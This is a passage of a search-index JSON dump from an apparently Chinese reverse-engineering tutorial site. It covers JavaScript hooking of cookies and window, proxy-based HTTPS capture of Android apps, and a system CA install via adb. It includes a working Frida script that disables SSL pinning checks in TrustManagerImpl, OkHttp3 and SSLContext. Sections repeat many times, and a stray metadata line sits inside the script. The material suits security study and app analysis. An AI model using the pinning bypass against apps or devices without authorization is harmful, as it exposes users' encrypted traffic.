技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#2-objectdefineproperty-属性-hook"},{"categories":null,"collections":null,"content":"示例: Hook cookie (function () { let cookieCache = document.cookie; Object.defineProperty(document, \"cookie\", { get: function () { return cookieCache; }, set: function (val) { console.log(\"[Hook] Setting cookie:\", val); if (val.includes(\"token\")) { debugger; } cookieCache = val; // 实际上这里应该调用原生的 setter，比较复杂，通常用 Proxy 代替 return val; }, }); })(); ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:7:1","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#示例-hook-cookie"},{"categories":null,"collections":null,"content":"3. ES6 Proxy (代理 Hook) Proxy 是最强大的 Hook 方式，它可以代理整个对象的所有操作（读、写、函数调用、遍历等）。 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:8:0","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#3-es6-proxy-代理-hook"},{"categories":null,"collections":null,"content":"示例: 代理全局对象 window window = new Proxy(window, { get: function (target, prop, receiver) { if (prop === \"v_account\") { console.log(\"[Hook] Reading v_account\"); } return Reflect.get(target, prop, receiver); }, set: function (target, prop, value, receiver) { if (prop === \"v_account\") { console.log(\"[Hook] Setting v_account =\", value); debugger; } return Reflect.set(target, prop, value, receiver); }, }); 注意：直接代理 window 可能会比较卡，且容易被检测。通常只代理特定的配置对象。 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:8:1","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#示例-代理全局对象-window"},{"categories":null,"collections":null,"content":"4. 常见 Hook 点 记住这些“交通要道”，90% 的加密参数都会经过这里： JSON.stringify: 无论什么加密参数，最后往往都要转成 JSON 发给服务器。 JSON.parse: 服务器返回的加密数据，解密后往往要转成 JSON 对象。 String.prototype.split / slice: 字符串操作函数。 XMLHttpRequest.prototype.open / send: 网络请求入口。 Headers.prototype.append: Fetch API 添加 Header 时。 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:9:0","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#4-常见-hook-点"},{"categories":null,"collections":null,"content":"总结 Hook 的本质是 AOP (面向切面编程)。在逆向中，它是我们切入黑盒系统的主要手段。时刻记得：Hook 代码要尽可能早地注入（注入时机在加载 DevTools 之前最佳，如使用油猴脚本或 Local Overrides）。 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:10:0","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#总结"},{"categories":null,"collections":null,"content":"抓包分析 Android 应用的网络流量 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： ADB 速查手册 - 设备连接与证书推送 HTTP/HTTPS 协议 - 理解请求响应结构与 TLS 握手 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:0:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#抓包分析-android-应用的网络流量"},{"categories":null,"collections":null,"content":"问题场景 你遇到了什么问题？ 想知道某个 App 调用了哪些 API 接口 需要分析 API 的请求参数和响应数据 想查看 App 发送了哪些敏感信息（设备信息、定位等） 需要找到加密签名的生成逻辑 想重放或修改 API 请求 本配方教你：配置抓包环境，拦截并分析 HTTPS 流量，绕过 SSL Pinning 限制。 预计用时: 15-30 分钟（首次配置） ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:1:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#问题场景"},{"categories":null,"collections":null,"content":"工具清单 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:2:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#工具清单"},{"categories":null,"collections":null,"content":"必需工具 Android 设备/模拟器（已 Root，或可安装证书） 抓包代理工具（选择其一）： Burp Suite（推荐，功能最强） Charles（UI 友好） mitmproxy（开源，可编程） Frida（用于绕过 SSL Pinning） ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:2:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#必需工具"},{"categories":null,"collections":null,"content":"可选工具 Wireshark（分析底层 TCP/UDP 流量） HttpCanary（Android 上的抓包工具，无需 PC） ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:2:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#可选工具"},{"categories":null,"collections":null,"content":"前置条件 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:3:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#前置条件"},{"categories":null,"collections":null,"content":"确认清单 # 1. Verify device connection adb devices # 2. Frida 可用 frida-ps -U # 3. PC and phone on the same Wi-Fi network # Record PC IP address（used below as YOUR_PC_IP） # Windows: ipconfig # macOS/Linux: ifconfig or ip addr Android 7.0+：需要 Root 权限安装系统证书 Android 6.0-：可直接安装用户证书，无需 Root 或使用支持用户证书的 App（Target SDK \u003c 24） ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:3:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#确认清单"},{"categories":null,"collections":null,"content":"解决方案 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#解决方案"},{"categories":null,"collections":null,"content":"第 1 步：配置抓包工具（5 分钟） 使用 Burp Suite（推荐） 1.1 启动 Burp Suite # Download Burp Suite Community Edition (free) # https://portswigger.net/burp/communitydownload # Run the command java -jar burpsuite_community.jar 打开 Proxy → Options 在 Proxy Listeners 部分 点击 Add，配置： Bind to port: 8888 Bind to address: All interfaces（或选择你的 Wi-Fi 网卡） 点击 OK 保存 验证：浏览器访问 http://YOUR_PC_IP:8888，应该看到 Burp 的错误页面（表示代理工作正常） 使用 Charles 1.1 启动 Charles 下载：https://www.charlesproxy.com/download/ 1.2 配置代理 Proxy → Proxy Settings 设置 Port 为 8888 勾选 Enable transparent HTTP proxying 使用 mitmproxy # Install pip install mitmproxy # startup（监听 8888 端口） mitmproxy -p 8888 --listen-host 0.0.0.0 # 或使用 Web 界面 mitmweb -p 8888 --listen-host 0.0.0.0 # 访问 http://127.0.0.1:8081 查看流量 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#第-1-步配置抓包工具5-分钟"},{"categories":null,"collections":null,"content":"第 1 步：配置抓包工具（5 分钟） 使用 Burp Suite（推荐） 1.1 启动 Burp Suite # Download Burp Suite Community Edition (free) # https://portswigger.net/burp/communitydownload # Run the command java -jar burpsuite_community.jar 打开 Proxy → Options 在 Proxy Listeners 部分 点击 Add，配置： Bind to port: 8888 Bind to address: All interfaces（或选择你的 Wi-Fi 网卡） 点击 OK 保存 验证：浏览器访问 http://YOUR_PC_IP:8888，应该看到 Burp 的错误页面（表示代理工作正常） 使用 Charles 1.1 启动 Charles 下载：https://www.charlesproxy.com/download/ 1.2 配置代理 Proxy → Proxy Settings 设置 Port 为 8888 勾选 Enable transparent HTTP proxying 使用 mitmproxy # Install pip install mitmproxy # startup（监听 8888 端口） mitmproxy -p 8888 --listen-host 0.0.0.0 # 或使用 Web 界面 mitmweb -p 8888 --listen-host 0.0.0.0 # 访问 http://127.0.0.1:8081 查看流量 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#11-启动-burp-suite"},{"categories":null,"collections":null,"content":"第 1 步：配置抓包工具（5 分钟） 使用 Burp Suite（推荐） 1.1 启动 Burp Suite # Download Burp Suite Community Edition (free) # https://portswigger.net/burp/communitydownload # Run the command java -jar burpsuite_community.jar 打开 Proxy → Options 在 Proxy Listeners 部分 点击 Add，配置： Bind to port: 8888 Bind to address: All interfaces（或选择你的 Wi-Fi 网卡） 点击 OK 保存 验证：浏览器访问 http://YOUR_PC_IP:8888，应该看到 Burp 的错误页面（表示代理工作正常） 使用 Charles 1.1 启动 Charles 下载：https://www.charlesproxy.com/download/ 1.2 配置代理 Proxy → Proxy Settings 设置 Port 为 8888 勾选 Enable transparent HTTP proxying 使用 mitmproxy # Install pip install mitmproxy # startup（监听 8888 端口） mitmproxy -p 8888 --listen-host 0.0.0.0 # 或使用 Web 界面 mitmweb -p 8888 --listen-host 0.0.0.0 # 访问 http://127.0.0.1:8081 查看流量 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#11-启动-charles"},{"categories":null,"collections":null,"content":"第 1 步：配置抓包工具（5 分钟） 使用 Burp Suite（推荐） 1.1 启动 Burp Suite # Download Burp Suite Community Edition (free) # https://portswigger.net/burp/communitydownload # Run the command java -jar burpsuite_community.jar 打开 Proxy → Options 在 Proxy Listeners 部分 点击 Add，配置： Bind to port: 8888 Bind to address: All interfaces（或选择你的 Wi-Fi 网卡） 点击 OK 保存 验证：浏览器访问 http://YOUR_PC_IP:8888，应该看到 Burp 的错误页面（表示代理工作正常） 使用 Charles 1.1 启动 Charles 下载：https://www.charlesproxy.com/download/ 1.2 配置代理 Proxy → Proxy Settings 设置 Port 为 8888 勾选 Enable transparent HTTP proxying 使用 mitmproxy # Install pip install mitmproxy # startup（监听 8888 端口） mitmproxy -p 8888 --listen-host 0.0.0.0 # 或使用 Web 界面 mitmweb -p 8888 --listen-host 0.0.0.0 # 访问 http://127.0.0.1:8081 查看流量 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#12-配置代理"},{"categories":null,"collections":null,"content":"第 2 步：配置手机代理（2 分钟） 2.1 连接到同一 Wi-Fi 确保手机和 PC 在同一局域网。 2.2 设置手动代理 打开手机 设置 → Wi-Fi 长按当前连接的 Wi-Fi → 修改网络 展开 高级选项 代理设置改为 手动： 代理服务器主机名: YOUR_PC_IP（如 192.168.1.100） 代理服务器端口: 8888 保存 2.3 验证代理连接 # 手机浏览器访问任意 HTTP 网站（如 http://example.com） # 此时 Burp/Charles 应该显示拦截到的请求 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#第-2-步配置手机代理2-分钟"},{"categories":null,"collections":null,"content":"第 2 步：配置手机代理（2 分钟） 2.1 连接到同一 Wi-Fi 确保手机和 PC 在同一局域网。 2.2 设置手动代理 打开手机 设置 → Wi-Fi 长按当前连接的 Wi-Fi → 修改网络 展开 高级选项 代理设置改为 手动： 代理服务器主机名: YOUR_PC_IP（如 192.168.1.100） 代理服务器端口: 8888 保存 2.3 验证代理连接 # 手机浏览器访问任意 HTTP 网站（如 http://example.com） # 此时 Burp/Charles 应该显示拦截到的请求 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#21-连接到同一-wi-fi"},{"categories":null,"collections":null,"content":"第 2 步：配置手机代理（2 分钟） 2.1 连接到同一 Wi-Fi 确保手机和 PC 在同一局域网。 2.2 设置手动代理 打开手机 设置 → Wi-Fi 长按当前连接的 Wi-Fi → 修改网络 展开 高级选项 代理设置改为 手动： 代理服务器主机名: YOUR_PC_IP（如 192.168.1.100） 代理服务器端口: 8888 保存 2.3 验证代理连接 # 手机浏览器访问任意 HTTP 网站（如 http://example.com） # 此时 Burp/Charles 应该显示拦截到的请求 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#22-设置手动代理"},{"categories":null,"collections":null,"content":"第 2 步：配置手机代理（2 分钟） 2.1 连接到同一 Wi-Fi 确保手机和 PC 在同一局域网。 2.2 设置手动代理 打开手机 设置 → Wi-Fi 长按当前连接的 Wi-Fi → 修改网络 展开 高级选项 代理设置改为 手动： 代理服务器主机名: YOUR_PC_IP（如 192.168.1.100） 代理服务器端口: 8888 保存 2.3 验证代理连接 # 手机浏览器访问任意 HTTP 网站（如 http://example.com） # 此时 Burp/Charles 应该显示拦截到的请求 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#23-验证代理连接"},{"categories":null,"collections":null,"content":"第 3 步：安装 HTTPS 证书（5-10 分钟） 为什么需要？ HTTPS 流量经过加密，需要安装证书才能解密查看。 Burp Suite 证书安装 3.1 下载证书 手机浏览器访问 http://burp 点击 CA Certificate 下载 cacert.der 3.2 安装证书 Android 7.0+ （需要 Root）： # 1. 转换证书格式 openssl x509 -inform DER -in cacert.der -out cacert.pem # 2. 计算证书哈希 HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1) # 3. 重命名并推送到系统目录 cp cacert.pem $HASH.0 adb root adb remount adb push $HASH.0 /system/etc/security/cacerts/ adb shell chmod 644 /system/etc/security/cacerts/$HASH.0 # 4. 重启设备 adb reboot Charles 证书安装 手机浏览器访问 http://chls.pro/ssl 下载并安装证书 Android 7.0+ 同样需要安装到系统目录（参考 Burp 步骤） mitmproxy 证书安装 手机浏览器访问 http://mitm.it 点击 Android 图标下载证书 安装步骤同上 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:3","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#第-3-步安装-https-证书5-10-分钟"},{"categories":null,"collections":null,"content":"第 3 步：安装 HTTPS 证书（5-10 分钟） 为什么需要？ HTTPS 流量经过加密，需要安装证书才能解密查看。 Burp Suite 证书安装 3.1 下载证书 手机浏览器访问 http://burp 点击 CA Certificate 下载 cacert.der 3.2 安装证书 Android 7.0+ （需要 Root）： # 1. 转换证书格式 openssl x509 -inform DER -in cacert.der -out cacert.pem # 2. 计算证书哈希 HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1) # 3. 重命名并推送到系统目录 cp cacert.pem $HASH.0 adb root adb remount adb push $HASH.0 /system/etc/security/cacerts/ adb shell chmod 644 /system/etc/security/cacerts/$HASH.0 # 4. 重启设备 adb reboot Charles 证书安装 手机浏览器访问 http://chls.pro/ssl 下载并安装证书 Android 7.0+ 同样需要安装到系统目录（参考 Burp 步骤） mitmproxy 证书安装 手机浏览器访问 http://mitm.it 点击 Android 图标下载证书 安装步骤同上 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:3","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#31-下载证书"},{"categories":null,"collections":null,"content":"第 3 步：安装 HTTPS 证书（5-10 分钟） 为什么需要？ HTTPS 流量经过加密，需要安装证书才能解密查看。 Burp Suite 证书安装 3.1 下载证书 手机浏览器访问 http://burp 点击 CA Certificate 下载 cacert.der 3.2 安装证书 Android 7.0+ （需要 Root）： # 1. 转换证书格式 openssl x509 -inform DER -in cacert.der -out cacert.pem # 2. 计算证书哈希 HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1) # 3. 重命名并推送到系统目录 cp cacert.pem $HASH.0 adb root adb remount adb push $HASH.0 /system/etc/security/cacerts/ adb shell chmod 644 /system/etc/security/cacerts/$HASH.0 # 4. 重启设备 adb reboot Charles 证书安装 手机浏览器访问 http://chls.pro/ssl 下载并安装证书 Android 7.0+ 同样需要安装到系统目录（参考 Burp 步骤） mitmproxy 证书安装 手机浏览器访问 http://mitm.it 点击 Android 图标下载证书 安装步骤同上 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:3","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#32-安装证书"},{"categories":null,"collections":null,"content":"第 4 步：开始抓包（1 分钟） 4.1 清空旧记录 Burp: Proxy → HTTP history → 右键 → Clear history Charles: Proxy → Clear Session 4.2 启动目标 App 在手机上打开要分析的应用，正常使用。 4.3 查看流量 在抓包工具中： 查看 HTTP history / Sequence 筛选目标 App 的域名 分析 Request/Response 内容 示例分析点： 请求 URL 和参数 Request Headers（User-Agent, Authorization, 自定义签名头） Request Body（POST 数据） Response Body（API 返回的 JSON/XML） ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:4","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#第-4-步开始抓包1-分钟"},{"categories":null,"collections":null,"content":"第 4 步：开始抓包（1 分钟） 4.1 清空旧记录 Burp: Proxy → HTTP history → 右键 → Clear history Charles: Proxy → Clear Session 4.2 启动目标 App 在手机上打开要分析的应用，正常使用。 4.3 查看流量 在抓包工具中： 查看 HTTP history / Sequence 筛选目标 App 的域名 分析 Request/Response 内容 示例分析点： 请求 URL 和参数 Request Headers（User-Agent, Authorization, 自定义签名头） Request Body（POST 数据） Response Body（API 返回的 JSON/XML） ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:4","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#41-清空旧记录"},{"categories":null,"collections":null,"content":"第 4 步：开始抓包（1 分钟） 4.1 清空旧记录 Burp: Proxy → HTTP history → 右键 → Clear history Charles: Proxy → Clear Session 4.2 启动目标 App 在手机上打开要分析的应用，正常使用。 4.3 查看流量 在抓包工具中： 查看 HTTP history / Sequence 筛选目标 App 的域名 分析 Request/Response 内容 示例分析点： 请求 URL 和参数 Request Headers（User-Agent, Authorization, 自定义签名头） Request Body（POST 数据） Response Body（API 返回的 JSON/XML） ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:4","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#42-启动目标-app"},{"categories":null,"collections":null,"content":"第 4 步：开始抓包（1 分钟） 4.1 清空旧记录 Burp: Proxy → HTTP history → 右键 → Clear history Charles: Proxy → Clear Session 4.2 启动目标 App 在手机上打开要分析的应用，正常使用。 4.3 查看流量 在抓包工具中： 查看 HTTP history / Sequence 筛选目标 App 的域名 分析 Request/Response 内容 示例分析点： 请求 URL 和参数 Request Headers（User-Agent, Authorization, 自定义签名头） Request Body（POST 数据） Response Body（API 返回的 JSON/XML） ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:4","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#43-查看流量"},{"categories":null,"collections":null,"content":"第 5 步：绕过 SSL Pinning（如遇到） 症状： 证书已安装，但 HTTPS 请求仍无法抓取 App 显示\"网络错误\"或直接闪退 抓包工具显示 SSL 握手失败 原因：App 启用了 SSL Pinning（证书锁定），拒绝信任系统证书。 方法 1: 使用 Frida 通用脚本（推荐） 下载脚本 bypass_ssl_pinning.js： // Universal android SSL Pinning Bypass Java.perform(function () { console.log(\" [SSL Pinning Bypass] 已启动\"); // 拦截 TrustManagerImpl (常用) try { var TrustManagerImpl = Java.use( \"com.android.org.conscrypt.TrustManagerImpl\" ); TrustManagerImpl.verifyChain.implementation = function ( untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData ) { console.log(\"✓ [TrustManagerImpl] BypassCertValidate: \" + host); type: posts tags: [\"RSA\", \"浏览器指纹\", \"签名验证\", \"Frida\", \"SSL Pinning\", \"代理池\"] return untrustedChain; }; } catch (e) { console.log(\"! TrustManagerImpl 不存在\"); } // Hook OkHttp3 try { var CertificatePinner = Java.use(\"okhttp3.CertificatePinner\"); CertificatePinner.check.overload( \"java.lang.String\", \"java.util.List\" ).implementation = function (hostname, peerCertificates) { console.log(\"✓ [OkHttp3] Bypass SSL Pinning: \" + hostname); return; }; } catch (e) { console.log(\"! OkHttp3 不存在\"); } // Hook SSLContext try { var SSLContext = Java.use(\"javax.net.ssl.SSLContext\"); SSLContext.init.overload( \"[Ljavax.net.ssl.KeyManager;\", \"[Ljavax.net.ssl.TrustManager;\", \"java.security.SecureRandom\" ).implementation = function (keyManager, trustManager, secureRandom) { console.log(\"✓ [SSLContext] 使用自定义 TrustManager\"); this.init(keyManager, null, secureRandom); }; } catch (e) { console.log(\"! SSLContext hook 失败\"); } console.log(\" [SSL Pinning Bypass] 配置完成\\n\"); }); # 方式1：附加到运行中的 App frida -U com.example.app -l bypass_ssl_pinning.js # 方式2：启动 App 并注入 frida -U -f com.example.app -l bypass_ssl_pinning.js --no-pause [SSL Pinning Bypass] 配置完成 方法 2: 使用 Xposed 模块 JustTrustMe 安装步骤 确保设备已安装 Xposed Framework 下载 JustTrustMe 模块：https://github.com/Fuzion24/JustTrustMe 在 Xposed Installer 中激活 重启设备 方法 3: 修改 APK（重打包） APK 重打包步骤 如果 Frida 被检测，可以修改 APK 来信任用户证书： 反编译 APK 修改 AndroidManifest.xml，添加： \u003capplication android:networkSecurityConfig=\"@xml/network_security_config\"\u003e 创建 res/xml/network_security_config.xml： \u003cnetwork-security-config\u003e \u003cbase-config cleartextTrafficPermitted=\"true\"\u003e \u003ctrust-anchors\u003e \u003ccertificates src=\"system\" /\u003e \u003ccertificates src=\"user\" /\u003e \u003c/trust-anchors\u003e \u003c/base-config\u003e \u003c/network-security-config\u003e 重新打包并签名 APK ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:5","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#第-5-步绕过-ssl-pinning如遇到"},{"categories":null,"collections":null,"content":"第 5 步：绕过 SSL Pinning（如遇到） 症状： 证书已安装，但 HTTPS 请求仍无法抓取 App 显示\"网络错误\"或直接闪退 抓包工具显示 SSL 握手失败 原因：App 启用了 SSL Pinning（证书锁定），拒绝信任系统证书。 方法 1: 使用 Frida 通用脚本（推荐） 下载脚本 bypass_ssl_pinning.js： // Universal android SSL Pinning Bypass Java.perform(function () { console.log(\" [SSL Pinning Bypass] 已启动\"); // 拦截 TrustManagerImpl (常用) try { var TrustManagerImpl = Java.use( \"com.android.org.conscrypt.TrustManagerImpl\" ); TrustManagerImpl.verifyChain.implementation = function ( untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData ) { console.log(\"✓ [TrustManagerImpl] BypassCertValidate: \" + host); type: posts tags: [\"RSA\", \"浏览器指纹\", \"签名验证\", \"Frida\", \"SSL Pinning\", \"代理池\"] return untrustedChain; }; } catch (e) { console.log(\"! TrustManagerImpl 不存在\"); } // Hook OkHttp3 try { var CertificatePinner = Java.use(\"okhttp3.CertificatePinner\"); CertificatePinner.check.overload( \"java.lang.String\", \"java.util.List\" ).implementation = function (hostname, peerCertificates) { console.log(\"✓ [OkHttp3] Bypass SSL Pinning: \" + hostname); return; }; } catch (e) { console.log(\"! OkHttp3 不存在\"); } // Hook SSLContext try { var SSLContext = Java.use(\"javax.net.ssl.SSLContext\"); SSLContext.init.overload( \"[Ljavax.net.ssl.KeyManager;\", \"[Ljavax.net.ssl.TrustManager;\", \"java.security.SecureRandom\" ).implementation = function (keyManager, trustManager, secureRandom) { console.log(\"✓ [SSLContext] 使用自定义 TrustManager\"); this.init(keyManager, null, secureRandom); }; } catch (e) { console.log(\"! SSLContext hook 失败\"); } console.log(\" [SSL Pinning Bypass] 配置完成\\n\"); }); # 方式1：附加到运行中的 App frida -U com.example.app -l bypass_ssl_pinning.js # 方式2：启动 App 并注入 frida -U -f com.example.app -l bypass_ssl_pinning.js --no-pause [SSL Pinning Bypass] 配置完成 方法 2: 使用 Xposed 模块 JustTrustMe 安装步骤 确保设备已安装 Xposed Framework 下载 JustTrustMe 模块：https://github.com/Fuzion24/JustTrustMe 在 Xposed Installer 中激活 重启设备 方法 3: 修改 APK（重打包） APK 重打包步骤 如果 Frida 被检测，可以修改 APK 来信任用户证书： 反编译 APK 修改 AndroidManifest.xml，添加： 创建 res/xml/network_security_config.xml： 重新打包并签名 APK ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:5","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#方法-1-使用-frida-通用脚本推荐"},{"categories":null,"collections":null,"content":"第 5 步：绕过 SSL Pinning（如遇到） 症状： 证书已安装，但 HTTPS 请求仍无法抓取 App 显示\"网络错误\"或直接闪退 抓包工具显示 SSL 握手失败 原因：App 启用了 SSL Pinning（证书锁定），拒绝信任系统证书。 方法 1: 使用 Frida 通用脚本（推荐） 下载脚本 bypass_ssl_pinning.js： // Universal android SSL Pinning Bypass Java.perform(function () { console.log(\" [SSL Pinning Bypass] 已启动\"); // 拦截 TrustManagerImpl (常用) try { var TrustManagerImpl = Java.use( \"com.android.org.conscrypt.TrustManagerImpl\" ); TrustManagerImpl.verifyChain.implementation = function ( untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData ) { console.log(\"✓ [TrustManagerImpl] BypassCertValidate: \" + host); type: posts tags: [\"RSA\", \"浏览器指纹\", \"签名验证\", \"Frida\", \"SSL Pinning\", \"代理池\"] return untrustedChain; }; } catch (e) { console.log(\"! TrustManagerImpl 不存在\"); } // Hook OkHttp3 try { var CertificatePinner = Java.use(\"okhttp3.CertificatePinner\"); CertificatePinner.check.overload( \"java.lang.String\", \"java.util.List\" ).implementation = function (hostname, peerCertificates) { console.log(\"✓ [OkHttp3] Bypass SSL Pinning: \" + hostname); return; }; } catch (e) { console.log(\"! OkHttp3 不存在\"); } // Hook SSLContext try { var SSLContext = Java.use(\"javax.net.ssl.SSLContext\"); SSLContext.init.overload( \"[Ljavax.net.ssl.KeyManager;\", \"[Ljavax.net.ssl.TrustManager;\", \"java.security.SecureRandom\" ).implementation = function (keyManager, trustManager, secureRandom) { console.log(\"✓ [SSLContext] 使用自定义 TrustManager\"); this.init(keyManager, null, secureRandom); }; } catch (e) { console.log(\"! SSLContext hook 失败\"); } console.log(\" [SSL Pinning Bypass] 配置完成\\n\"); }); # 方式1：附加到运行中的 App frida -U com.example.app -l bypass_ssl_pinning.js # 方式2：启动 App 并注入 frida -U -f com.example.app -l bypass_ssl_pinning.js --no-pause [SSL Pinning Bypass] 配置完成 方法 2: 使用 Xposed 模块 